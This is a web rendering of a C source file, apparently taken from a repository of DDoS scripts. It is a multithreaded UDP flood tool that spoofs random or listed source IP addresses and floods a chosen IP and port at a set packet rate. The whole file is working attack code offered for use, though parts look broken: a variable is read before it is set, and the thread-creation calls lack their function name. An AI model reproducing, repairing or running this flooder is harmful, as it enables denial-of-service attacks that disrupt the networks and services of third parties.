Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/Fud-Bypass.c
4607 views
1
#include <unistd.h>
2
#include <time.h>
3
#include <sys/types.h>
4
#include <sys/socket.h>
5
#include <sys/ioctl.h>
6
#include <string.h>
7
#include <stdlib.h>
8
#include <stdio.h>
9
#include <pthread.h>
10
#include <netinet/udp.h>
11
#include <netinet/ip.h>
12
#include <netinet/in.h>
13
#include <netinet/if_ether.h>
14
#include <netdb.h>
15
#include <net/if.h>
16
#include <arpa/inet.h>
17
18
#define MAX_PACKET_SIZE 4096
19
#define PHI 0x9e3779b9
20
char str[44];
21
int *salvodropper[4];
22
int ai=0;
23
24
static unsigned int glitch;
25
static unsigned int scitze;
26
static unsigned int bypasss;
27
static unsigned int code;
28
static unsigned int allasn;
29
static unsigned int activeplayers;
30
31
static unsigned long int Q[4096], c = 362436;
32
static unsigned int slvport;
33
volatile int limiter;
34
volatile unsigned int pps;
35
volatile unsigned int sleeptime = 100;
36
void init_rand(unsigned long int x)
37
{
38
int i;
39
Q[0] = x;
40
Q[1] = x + PHI;
41
Q[2] = x + PHI + PHI;
42
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
43
}
44
45
46
unsigned long int rand_cmwc(void)
47
{
48
unsigned long long int t, a = 18782LL;
49
static unsigned long int i = 4095;
50
unsigned long int x, r = 0xfffffffe;
51
i = (i + 1) & 4095;
52
t = a * Q[i] + c;
53
c = (t >> 32);
54
x = t + c;
55
if (x < c) {
56
x++;
57
c++;
58
}
59
return (Q[i] = r - x);
60
}
61
int salvo_random(int min, int max)
62
{
63
return min + rand() % (max+1 - min);
64
}
65
unsigned short csum (unsigned short *buf, int count)
66
{
67
register unsigned long sum = 0;
68
while( count > 1 ) { sum += *buf++; count -= 2; }
69
if(count > 0) { sum += *(unsigned char *)buf; }
70
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
71
return (unsigned short)(~sum);
72
}
73
unsigned short udpcsum(struct iphdr *iph, struct udphdr *udph) {
74
struct udp_salvo
75
{
76
unsigned long src_addr;
77
unsigned long dst_addr;
78
unsigned char zero;
79
unsigned char proto;
80
unsigned short length;
81
} salvohead;
82
unsigned short total_len = iph->tot_len;
83
salvohead.src_addr=iph->saddr;
84
salvohead.dst_addr=iph->daddr;
85
salvohead.zero=0;
86
salvohead.proto=IPPROTO_UDP;
87
salvohead.length=htons(sizeof(struct udphdr));
88
int totaltudp_len = sizeof(struct udp_salvo) + sizeof(struct udphdr);
89
unsigned short *udp = malloc(totaltudp_len);
90
memcpy((unsigned char *)udp,&salvohead,sizeof(struct udp_salvo));
91
memcpy((unsigned char *)udp+sizeof(struct udp_salvo),(unsigned char *)udph,sizeof(struct udphdr));
92
unsigned short output = csum(udp,totaltudp_len);
93
free(udp);
94
return output;
95
}
96
void setup_ip_header(struct iphdr *iph)
97
{
98
char ip[17];
99
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
100
iph->ihl = 5;
101
iph->version = 4;
102
iph->tos = 0;
103
iph->id = htonl(rand()%54321);
104
iph->frag_off = 0;
105
iph->ttl = MAXTTL;
106
iph->protocol = IPPROTO_UDP;
107
iph->check = 0;
108
iph->saddr = inet_addr(ip);
109
}
110
111
void *flood(void *par1)
112
{
113
char *td = (char *)par1;
114
char datagram[MAX_PACKET_SIZE];
115
struct iphdr *iph = (struct iphdr *)datagram;
116
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
117
struct sockaddr_in sin;
118
sin.sin_family = AF_INET;
119
sin.sin_addr.s_addr = inet_addr(td);
120
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
121
if(s < 0){
122
char opt[]="\033[1;32mfailed to create a socket.\033[0m";
123
fprintf(stderr, "%s\n", opt);
124
exit(-1);
125
}
126
memset(datagram, 0, MAX_PACKET_SIZE);
127
setup_ip_header(iph);
128
udph->source = htons(rand() % 65535 - 1026);
129
udph->dest = slvport;
130
iph->daddr = sin.sin_addr.s_addr;
131
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
132
int tmp = 1;
133
const int *val = &tmp;
134
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
135
char pompake[]="Salvos : setsockopt() - Sex Error";
136
fprintf(stderr, "%s\n", pompake);
137
exit(-1);
138
}
139
init_rand(time(NULL));
140
register unsigned int i;
141
i = 0;
142
int lenght;
143
int shortrandom;
144
int class[]={16843009,134744072,630511399,630511383,630511360,630511365,630511378,630511384,630511397,630511396,630511372,630511408,630511408,630511401,630511406,630511373,630511383,630511377,630511397,630511375,630511370,630511364,630511401,630511373,630511409,630511405,630511406,630511404,630511400,630511370,630511379,630511368,630511390,630511374,630511379,630511387,630511409,630511391,630511380,630511362,630511375,630511383,630511386,630511403,630511400,630511389,630511387,630511375,630511383,630511402,630511386,534712838,534712845,534712845,534712832,534712848,534712845,534712836,534712847,534712840,534712833,534712834,534712834,534712843,534712845,534712833,534712840,534712841,534712832,534712851,534712833,1598471185,1598471181,1598471172,1598471180,1598471180,1598471182,1598471171,1598471184,1598471188,1598471186,1598471180,1598471185,1598471189,1598471187,1598471170,1598471188,1598471169,1598471177,1598471182,1598471181,1306499596,1306499596,1306499597,1306499587,1306499592,1306499594,1306499604,1306499588,1306499594,1306499586,1306499596,1306499599,1306499597,1306499591,1306499599,1306499587,1306499597,1306499598,1306499585,1306499593,3050740226,3050740239,3050740230,3050740232,3050740228,3050740234,3050740243,3050740236,3050740241,3050740225,3050740225,3050740242,3050740240,3050740230,3050740240,3050740245,3050740234,3050740236,3050740235,3050740240,2689282432,2689282373,2689282567,2689282622,2689282456,2689282338,3565117471,3565117497,3565117467,3565117475,3565117496,3565117474,3565117484,3565117466,3565117481,3565117461,3651781415,3651781402,3651781416,3651781431,3651781432,3651781409,3651781397,3651781421,3651781408,3651781445,1584967727,1584967761,1584967697,1584967698,1584967710,1584967711,1584967776,1584967696,1584967776,1584967759,1585032185,1585060096,1584968932,1585134195,1585138522,1585146880,1585053098,1585049626,1584960929,1584988398,1585103579,1584967976,1585021870,1584981650,1584963254,1585152851,1585072332,1584987688,1584997801,1584970685,1585127356,1585024125,1584958669,1585146969,1585100028,1585076107,1584999357,1584990564,1585120470,1585046737,1584997335,1584984895,1585119070,1585149081,1584964911,1584974149,1585116496,1585094842,1585090793,1585023712,1585038271,1585004751,1585042234,1585131014,1585128599,1585075312,1585130607,1585077360,1585087607,1585059013,1584969860,1585028144,1585067003,1585128434,1585008467,1585163663,1585123181,1585054414,1585129272,1584974438,1584982523,1585067400,1585122086,1585135980,1585165093,1585160821,1585162380,1585079476,1585099041,1585027632,1585014067,1585154747,1584989812,1585163767,1585104492,1585125249,1585009960,1585060379,1585127264,1584997739,1585047959,1584982529,1584959692,1585030178,1585025142,1585143363,1585153869,1585090811,1584985695,1585163983,1585008487,1585004776,1584991316,1584952593,1585125392,1585112125,1584975749,1585035113,1585020491,1585126246,3126348714,3120274988,3122674992,3123372918,3124960498,3122133479,3113893295,3111360991,3116492650,3125967561,3118955116,3119996180,3111098114,3114928785,3114244719,3116165466,3115674296,3123330986,3121350251,3119404046,3121453541,3115871835,3118861893,3112689508,3113843813,3115031146,3118699920,3123211024,3122352258,3121162542,3112488218,3111209015,3125477740,3126086465,3111074888,3119255545,3123255307,3114473012,3125064865,3124632635,3124344432,3126054498,3122505001,3113444911,3120157352,3120981824,3113245392,3122272341,3113599873,3114367561,3114080774,3110580714,3124154744,3122198661,3112605812,3118434438,3121474634,3114264372,3115329912,3118314548,3123023122,3123265333,3114408802,3120567988,3116761615,3120282081,3114933107,3112344978,3114712380,3110916430,3111680576,3121516044,3123171667,3126437148,3122546149,3122719979,3119793470,3121126086,3118060453,3115783973,3113683696,3119560476,3125450581,3110718790,3118067829,3110775736,3112888286,3116157217,3118147310,3115242095,3113916690,3111735542,3113973930,3124272484,3120569759,3122997279,3110899450,3120726833,3114296751,3115105973};
145
while(1){
146
147
int payload1;
148
149
if(payload1==1){ // Payload 1
150
char *salvohex[] = {"\x00","\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08","\x09","\x0a","\x0b","\x0c","\x0d","\x0e","\x0f","\x10","\x11","\x12","\x13","\x14","\x15","\x16","\x17","\x18","\x19","\x1a","\x1b","\x1c","\x1d","\x1e","\x1f","\x20","\x21","\x22","\x23","\x24","\x25","\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c","\x2d","\x2e","\x2f","\x30","\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x3a","\x3b","\x3c","\x3d","\x3e","\x3f","\x40","\x41","\x42","\x43","\x44","\x45","\x46","\x47","\x48","\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f","\x50","\x51","\x52","\x53","\x54","\x55","\x56","\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d","\x5e","\x5f","\x60","\x61","\x62","\x63","\x64","\x65","\x66","\x67","\x68","\x69","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70","\x71","\x72","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80","\x81","\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e","\x8f","\x90","\x91","\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c","\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xaa","\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1","\xb2","\xb3","\xb4","\xb5","\xb6","\xb7","\xb8","\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf","\xc0","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6","\xc7","\xc8","\xc9","\xca","\xcb","\xcc","\xcd","\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6","\xd7","\xd8","\xd9","\xda","\xdb","\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7","\xe8","\xe9","\xea","\xeb","\xec","\xed","\xee","\xef","\xf0","\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7","\xf8","\xf9","\xfa","\xfb","\xfc","\xfd","\xfe","\xff"};
151
char *randompayload = salvohex[rand()%253];
152
char payl[111];
153
154
sprintf(payl, "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload, randompayload);
155
156
shortrandom = salvo_random(13,449);
157
lenght = shortrandom;
158
memcpy((void *)udph + sizeof(struct udphdr), payl, 111);
159
udph->len=htons(sizeof(struct udphdr) + lenght);
160
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + lenght;
161
}
162
163
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
164
165
{
166
if(salvodropper[0] != NULL && salvodropper[1] != NULL && salvodropper[2] != NULL && salvodropper[3] != NULL)
167
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
168
}
169
{
170
if(salvodropper[0] != NULL && salvodropper[1] != NULL && salvodropper[2] != NULL && salvodropper[3] == NULL)
171
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
172
}
173
{
174
if(salvodropper[0] != NULL && salvodropper[1] != NULL && salvodropper[2] == NULL && salvodropper[3] == NULL)
175
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
176
}
177
{
178
if(salvodropper[0] != NULL && salvodropper[1] == NULL && salvodropper[2] == NULL && salvodropper[3] == NULL)
179
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
180
}
181
{
182
if(salvodropper[0] == NULL && salvodropper[1] == NULL && salvodropper[2] == NULL && salvodropper[3] == NULL)
183
iph->saddr = htonl(class[rand_cmwc()%368]);
184
}
185
186
// iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
187
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
188
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
189
udph->source = htons(rand_cmwc() & 0xFFFF);
190
udph->check = 0;
191
pps++;
192
if(i >= limiter)
193
{
194
i = 0;
195
196
payload1=1;
197
198
usleep(sleeptime);
199
}
200
i++;
201
}
202
}
203
int main(int argc, char *argv[ ])
204
{
205
if(argc < 5){
206
printf("\033[1;31mUsage: ./Fud-Bypass <ip> <port> <threads> <pps> <random & integer> <time>\033[0m\n");
207
exit(-1);
208
}
209
if(strstr(argv[5], "integer"))
210
{
211
char intbypass[]="\033[1;36m[+] Send ; private integer list\033[1;m\n";
212
fprintf(stderr, "%s", intbypass);
213
}
214
else
215
{
216
fprintf(stdout, "\033[1;36m[+] Send ; source class -> %s\033[1;m\n", argv[5]);
217
}
218
219
char sockets[]="\033[1;35m[+] wait for the socket to open\033[0m\n";
220
fprintf(stdout, "%s", sockets);
221
slvport = htons(atoi(argv[2]));
222
int num_threads = atoi(argv[3]);
223
int maxpps = atoi(argv[4]);
224
limiter = 0;
225
pps = 0;
226
pthread_t thread[num_threads];
227
int multiplier = 20;
228
int i;
229
int class;
230
231
salvodropper[0] = strtok(argv[5],"integer");
232
while(salvodropper[ai] != NULL){
233
salvodropper[++ai] = strtok(NULL, "integer");
234
}
235
236
for(i = 0;i<num_threads;i++){
237
( &thread[i], NULL, &flood, (void *)argv[1]);
238
( &thread[i], NULL, &flood, (void *)argv[1]);
239
( &thread[i], NULL, &flood, (void *)argv[1]);
240
( &thread[i], NULL, &flood, (void *)argv[1]);
241
}
242
char opens[]="\033[1;33m[+] Flood started\033[0m\n";
243
fprintf(stdout, "%s", opens);
244
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
245
{
246
usleep((1000/multiplier)*1000);
247
if((pps*multiplier) > maxpps)
248
{
249
if(1 > limiter)
250
{
251
sleeptime+=100;
252
} else {
253
limiter--;
254
}
255
} else {
256
limiter++;
257
if(sleeptime > 25)
258
{
259
sleeptime-=25;
260
} else {
261
sleeptime = 0;
262
}
263
}
264
pps = 0;
265
}
266
return 0;
267
}
268
269